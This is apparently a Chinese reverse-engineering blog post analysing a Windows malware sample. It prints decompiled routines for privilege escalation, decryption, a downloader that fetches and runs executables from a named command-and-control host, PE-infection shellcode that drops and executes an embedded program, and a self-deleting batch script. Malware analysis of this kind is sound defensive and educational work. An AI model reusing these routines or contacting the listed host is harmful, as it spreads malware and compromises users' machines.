样本分析2

本文最后更新于:2 年前

本文首发于 52pojie : https://www.52pojie.cn/thread-1536030-1-1.html

详细分析

程序流程大概是:

start -> main

main 函数有五个动作

权限提升

如果 windows 版本在 6.0 以上,就不执行提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// windows 权限提升函数
// 如果windows版本在 windows vista 下面,就执行提权
int get_privilege()
{
unsigned int v1; // eax
int v2; // ebx
unsigned int v3; // ebx
struct _OSVERSIONINFOA VersionInformation; // [esp+10h] [ebp-D0h] BYREF
int v6[2]; // [esp+B4h] [ebp-2Ch] BYREF
struct _LUID Luid; // [esp+BCh] [ebp-24h] BYREF
char v8[4]; // [esp+C4h] [ebp-1Ch] BYREF
int v9; // [esp+C8h] [ebp-18h]
int v10; // [esp+CCh] [ebp-14h] BYREF
unsigned int v11; // [esp+D0h] [ebp-10h]
unsigned int v12; // [esp+D4h] [ebp-Ch]
int v13; // [esp+D8h] [ebp-8h]
int v14; // [esp+DCh] [ebp-4h]

VersionInformation.dwOSVersionInfoSize = 156; // 结构体在使用前需要对该成员填充该结构体的大小
GetVersionExA(&VersionInformation);
if ( VersionInformation.dwMajorVersion < 6 ) // 这里判断 windows 版本,如果低于 windows Vista 版本,就尝试提权
{
if ( LookupPrivilegeValueA(0, Name, &Luid) ? sub_AA119F((int)&Luid) : 0 )
{
v1 = sub_AA120E();
if ( v1 )
{
if ( VersionInformation.dwMinorVersion == 1 )
{
v2 = v1 + 132;
v14 = v1 + 132;
}
else
{
if ( VersionInformation.dwMinorVersion != 2 )
return 0;
v14 = v1 + 148;
v2 = v1 + 148;
}

注册表操作

读取和写入

注册表路径: HKEY_LOCAL_MACHINE \SOFTWARE\GTPlus \Time 这里路径,随系统不固定, 因为使用的是 SHSetValueA SHGetValueA api
如果传参为1: 从注册表指定路径中查询 是否写入的有时间,如果有,返回1,反之返回0
如果传参为2: 从注册表指定路径,创建注册key项, 并写入当前时间,返回0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __stdcall register_operating(DWORD pcbData)
{
unsigned __int64 pvData; // [esp+10h] [ebp-1Ch] BYREF
struct _FILETIME SystemTimeAsFileTime; // [esp+18h] [ebp-14h] BYREF
DWORD pdwType; // [esp+20h] [ebp-Ch] BYREF
int v5; // [esp+24h] [ebp-8h]

v5 = 0;
GetSystemTimeAsFileTime(&SystemTimeAsFileTime);// 获取指向时间的指针
if ( pcbData == 2 )
{
SHSetValueA(HKEY_LOCAL_MACHINE, pszSubKey, pszValue, 3u, &SystemTimeAsFileTime, 8u);// 将时间数据写入到注册表中
}
else if ( pcbData == 1 )
{
pcbData = 8;
if ( !SHGetValueA(HKEY_LOCAL_MACHINE, pszSubKey, pszValue, &pdwType, &pvData, &pcbData)// 查询写入的时间
&& *(unsigned __int64 *)&SystemTimeAsFileTime / 0x2710 - pvData / 0x2710 < 0x5265C00 )
{
v5 = 1;
}
}
return v5;
}

数据解密操作

算法看不懂, 但值得一提的是,一共解了 1740 字节,我看了下,是后门的hostname , 以及要用到的系统字符串 等,杂七杂八的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __userpurge data_decrypted@<eax>(int a1@<eax>, int *a2@<edi>, int a3)
{
int *v4; // eax
char v5; // si
int *v6; // edx
int *v7; // [esp+8h] [ebp-Ch]
char v8; // [esp+Ch] [ebp-8h]
int v9; // [esp+10h] [ebp-4h]
int v10; // [esp+10h] [ebp-4h]

if ( (a1 & 3) != 0 )
return 0;
v7 = (int *)((char *)a2 + a1 - 4);
v4 = a2;
v5 = -4 - (_BYTE)a2;
do
{
v6 = v4 + 1;
v8 = (v5 + (_BYTE)v4 + 4) & 0x1F;
v9 = *v4;
if ( ((v5 + (_BYTE)v4 + 4) & 4) != 0 )
v10 = __ROR4__(v9, v8);
else
v10 = __ROL4__(v9, v8);
*v4++ = *v6 + a3 + ~(a3 ^ v10);
}
while ( v6 < v7 );
*v6 = a3 ^ ~__ROL4__(a3 + *v6, ((_BYTE)v6 - (_BYTE)a2) & 0x1F);
return 1;
}

启动一个下载后门线程

CreateThread 直接启动,然后就 waitsignedobject 等待线程结束

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
DWORD __stdcall download_blackdoor_thread(LPVOID lpThreadParameter)
{
const char *v1; // edi
int v2; // eax
const CHAR *v3; // eax
bool v4; // zf
int v5; // eax
CHAR v7[1024]; // [esp+0h] [ebp-50Ch] BYREF
CHAR CmdLine[260]; // [esp+400h] [ebp-10Ch] BYREF
unsigned int v9; // [esp+504h] [ebp-8h] 此函数为了下载专用, 下载更新的exe 或者其他后门
LPCSTR lpString; // [esp+508h] [ebp-4h]

v9 = 0;
for ( lpString = &byte_AA4748; v9 < dword_AA494C; ++v9 )// k1.rar 一直到 k5.rar
{
v1 = &String;
if ( String )
{
do
{
while ( 1 )
{
v5 = get_rand_hex();
wsprintfA(CmdLine, "%s%.8X.exe", cur_system_temp_dir, v5);// 拼接到系统temp目录下的exe 文件
wsprintfA(v7, "http://%s:%d/%s/%s", v1, dword_AA4948, word_AA4708, lpString);// 解密后的网址+ 端口号+路径
if ( URLDownloadToFileA(0, v7, CmdLine, 0, 0) )// ddos.dnsnb8.net:799/cj//k1.rar 63.251.106.25:799
break;
vitrualfree2file(CmdLine);
WinExec(CmdLine, 5u);
v2 = lstrlenA(lpString);
v3 = &lpString[v2 + 1];
v4 = *v3 == 0;
lpString = v3;
if ( v4 )
return 0;
}
v1 += lstrlenA(v1) + 1;
Sleep(dwMilliseconds);
}
while ( *v1 );
}
}
return 0;
}

就拼接网址+文件 ddos.dnsnb8.net:799/cj//k1.rar k1 - k5

通过 URLDownloadToFileA 下载到本地

文件名称规则: system_temp 文件夹+ 随机hex字符串.exe

顺便把下载下来的文件 WinExec 执行一下, 我经过调试发现, 下载下来的内容一般为 foo , 然后解密后得到 4d5a

中间会歇上 3441092776 毫秒

PE感染

先复制自身到内存中

然后起一个线程, 遍历所有盘符 , 这里有个要求,该设备不为 cdrom 和 unknow , 盘符不为 A, B, 然后对着这些符合条件的 创建一个线程, 遍历该盘所有文件, 对符合条件的进行pe 感染操作(这里我还没调试)

这里面很多东西 ida 伪代码无法显示出来, 我也没动调

老的 exe 文件 开一个新区段,名称随机 写入 oep_shellcode , 再把自身(带有upx壳子)写入到 新区段中

oep_shellcode部分

55 8b ec 为func 开始的地方 表示指令为 push ebp, mov ebp, esp
c9 c3 为func结束的地方 表示指令为 leave, ret

open_shellcode下面exe 部分

中间 C9 c3 和 4d 5a 90 之间有一点数据,不知道是啥

这里分析了一下 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
// 新的pe 文件的起始点: shellcode
// write access to const memory has been detected, the output may be wrong!
int oep_shellcode()
{
int v0; // eax
_DWORD *v1; // ecx
int v2; // edi
int v3; // ebx
int v4; // esi
unsigned int v5; // ecx
int v6; // esi
int v7; // edi
int v8; // ebx
unsigned int v9; // edx
int v10; // esi
int v11; // edx
int v12; // ecx
int (__stdcall *g_GetModuleHandleA)(_DWORD); // esi
int v14; // ecx
int result; // eax
int v16; // esi
_DWORD *v17; // eax
int v18; // ecx
char v19[260]; // [esp+Ch] [ebp-16Ch] BYREF
char v20[32]; // [esp+110h] [ebp-68h] BYREF
int v21; // [esp+130h] [ebp-48h] BYREF
int v22[3]; // [esp+134h] [ebp-44h] BYREF
unsigned int v23; // [esp+144h] [ebp-34h]
int v24; // [esp+148h] [ebp-30h]
char v25[4]; // [esp+14Ch] [ebp-2Ch] BYREF
struct _PEB *v26; // [esp+150h] [ebp-28h]
int (__stdcall *g_GetModuleHandleA_1)(_DWORD); // [esp+154h] [ebp-24h]
void (__stdcall *g_GetTempPathA)(int, char *); // [esp+158h] [ebp-20h]
unsigned int v29; // [esp+15Ch] [ebp-1Ch]
void (__stdcall *g_lstrcatA)(char *, int *); // [esp+160h] [ebp-18h]
void (__stdcall *g_WriteFile)(int, _DWORD *, unsigned int, char *, _DWORD); // [esp+164h] [ebp-14h]
int (__stdcall *g_CreateFileA)(char *, unsigned int, _DWORD, _DWORD, int, int, _DWORD); // [esp+168h] [ebp-10h]
int (__stdcall *g_WinExec)(char *, int); // [esp+16Ch] [ebp-Ch]
void (__stdcall *g_CloseHandle)(int); // [esp+170h] [ebp-8h]
_DWORD *v35; // [esp+174h] [ebp-4h]

g_GetModuleHandleA_1 = 0;
g_CreateFileA = 0;
g_WriteFile = 0; // peb获取 kernel的基质,然后解析pe 导出表, 获取几个函数的地址
g_CloseHandle = 0;
g_WinExec = 0;
g_GetTempPathA = 0;
g_lstrcatA = 0;
v21 = 0x11111111;
qmemcpy(v22, "\"\"\"\"3333DDDD", sizeof(v22));
v35 = &locret_AA4271;
v26 = NtCurrentPeb();
locret_AA4271 = 0xE904C483;
*((_DWORD *)&locret_AA4271 + 1) = 0xAAAAAAAA;
v0 = *(_DWORD *)(**((_DWORD **)v26->ImageBaseAddress + 7) + 8);
LABEL_2:
v1 = (_DWORD *)(v0 + *(_DWORD *)(*(_DWORD *)(v0 + 60) + v0 + 120));
v2 = v1[7];
v3 = v1[8];
v4 = v1[9];
v5 = v1[6];
v6 = v0 + v4;
v7 = v0 + v2;
v8 = v0 + v3;
v9 = 0;
v24 = v6;
v29 = 0;
v23 = v5;
while ( v9 < v23 )
{
v10 = *(_DWORD *)(v7 + 4 * *(unsigned __int16 *)(v6 + 2 * v9));
v11 = v0 + *(_DWORD *)(v8 + 4 * v9);
v12 = *(_DWORD *)v11;
g_GetModuleHandleA = (int (__stdcall *)(_DWORD))(v0 + v10);
if ( *(_DWORD *)v11 == 'MteG'
&& *(_DWORD *)(v11 + 4) == 'ludo'
&& *(_DWORD *)(v11 + 8) == 'naHe'
&& *(_DWORD *)(v11 + 12) == 'Aeld'
&& !*(_BYTE *)(v11 + 16) )
{ // GetModuleHandleA
if ( !g_GetModuleHandleA_1 )
{
g_GetModuleHandleA_1 = g_GetModuleHandleA;
strcpy(v20, "Kernel32.dll");
v0 = g_GetModuleHandleA(v20);
goto LABEL_2;
}
}
else if ( v12 == 'EniW' && *(_DWORD *)(v11 + 4) == 'cex' )
{
g_WinExec = (int (__stdcall *)(char *, int))g_GetModuleHandleA;// WinExec
}
else if ( v12 == 'solC' && *(_DWORD *)(v11 + 4) == 'naHe' && *(_DWORD *)(v11 + 8) == 'eld' )
{
g_CloseHandle = (void (__stdcall *)(int))g_GetModuleHandleA;// CloseHandle
}
else if ( v12 == 'tirW' && *(_DWORD *)(v11 + 4) == 'liFe' && *(_WORD *)(v11 + 8) == 'e' )
{
g_WriteFile = (void (__stdcall *)(int, _DWORD *, unsigned int, char *, _DWORD))g_GetModuleHandleA;// WriteFile
}
else
{
v14 = *(_DWORD *)v11;
if ( *(_DWORD *)v11 == 'aerC' && *(_DWORD *)(v11 + 4) == 'iFet' && *(_DWORD *)(v11 + 8) == 'Ael' )
{
g_CreateFileA = (int (__stdcall *)(char *, unsigned int, _DWORD, _DWORD, int, int, _DWORD))g_GetModuleHandleA;// CreateFileA
}
else if ( v14 == 'TteG' && *(_DWORD *)(v11 + 4) == 'Ppme' && *(_DWORD *)(v11 + 8) == 'Ahta' )
{
g_GetTempPathA = (void (__stdcall *)(int, char *))g_GetModuleHandleA;// GetTempPathA
}
else if ( v14 == 'rtsl' && *(_DWORD *)(v11 + 4) == 'Atac' )
{
g_lstrcatA = (void (__stdcall *)(char *, int *))g_GetModuleHandleA;// lstrcatA
}
}
if ( g_GetModuleHandleA_1
&& g_CreateFileA
&& g_WriteFile
&& g_CloseHandle
&& g_WinExec
&& g_GetTempPathA
&& g_lstrcatA )
{
break;
}
++v29;
v6 = v24;
v9 = v29;
}
g_GetTempPathA(260, v19); // 获取系统temp目录
g_lstrcatA(v19, &v21); // 目录拼接
result = g_CreateFileA(v19, 0xC0000000, 0, 0, 2, 128, 0);// 创建文件
v16 = result;
if ( result != -1 )
{
v17 = v35; // 从该函数尾部开始查找exe 文件,然后将exe文件写入到刚才创建的文件
v18 = 0;
while ( *v17 != 0x905A4D )
{
v17 = (_DWORD *)((char *)v17 + 1);
if ( ++v18 >= 500 )
goto LABEL_47;
}
g_WriteFile(v16, v17, 0xCCCCCCCC, v25, 0);
LABEL_47:
g_CloseHandle(v16);
result = g_WinExec(v19, 5); // 执行该exe文件
}
return result;
}

因为没有动调,我不确定,他是否真的获取到了kernel32 的基址,有可能是 kernelbase 的基址, win7 以后老版本的shellcode 只能获取到 kernelbase的基址了

后面执行的函数,就是继续执行自己

winExec 第二个参数, 我查了下官方文档, 5 对应着 SW_SHOW ,就是正常启动该窗口罢了

自删除

这个自删除比较骚

这里不断进行删除自身exe,然后判断自身exe是否还存在,存在则继续删除自身exe, 不存在,则删除脚本exe

1
2
3
4
5
:DELFILE
del "C:\Users\m1n9yu3\Desktop\样本.exe"
if exist "C:\Users\m1n9yu3\Desktop\样本.exe" goto :DELFILE
del "C:\Users\m1n9yu3\AppData\Local\Temp\35507285.bat"

这里的 c 代码,就是把上面的bat脚本写到 系统 temp 目录下, 然后执行 , 这里 ShellExecuteA 是异步的,就是说,就算程序结束了, 该脚本也会继续执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void *auto_del_self()
{
int v0; // eax
int v1; // ebx
void *result; // eax
void *v3; // edi
BOOL v4; // ebx
CHAR String[2048]; // [esp+Ch] [ebp-908h] BYREF 看着像自删除
CHAR FileName[260]; // [esp+80Ch] [ebp-108h] BYREF
DWORD NumberOfBytesWritten; // [esp+910h] [ebp-4h] BYREF

v0 = get_rand_hex();
wsprintfA(FileName, "%s%.8x.bat", cur_system_temp_dir, v0);
wsprintfA(
String,
":DELFILE\r\ndel \"%s\"\r\nif exist \"%s\" goto :DELFILE\r\ndel \"%s\"\r\n",
pszPath,
pszPath,
FileName);
v1 = lstrlenA(String);
result = CreateFileA(FileName, 0xC0000000, 0, 0, 2u, 0, 0);
v3 = result;
if ( result != (void *)-1 )
{
v4 = WriteFile(result, String, v1, &NumberOfBytesWritten, 0);
result = (void *)CloseHandle(v3);
if ( v4 )
result = ShellExecuteA(0, Operation, FileName, 0, 0, 0);
}
return result;
}

总结

分析过样本之后, 对 win32 api 有了一层新的认识, 以后分析这个起来,肯定会更加得心应手, 嘻嘻

然后这个样本,没啥难度,非常适合新手练习


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!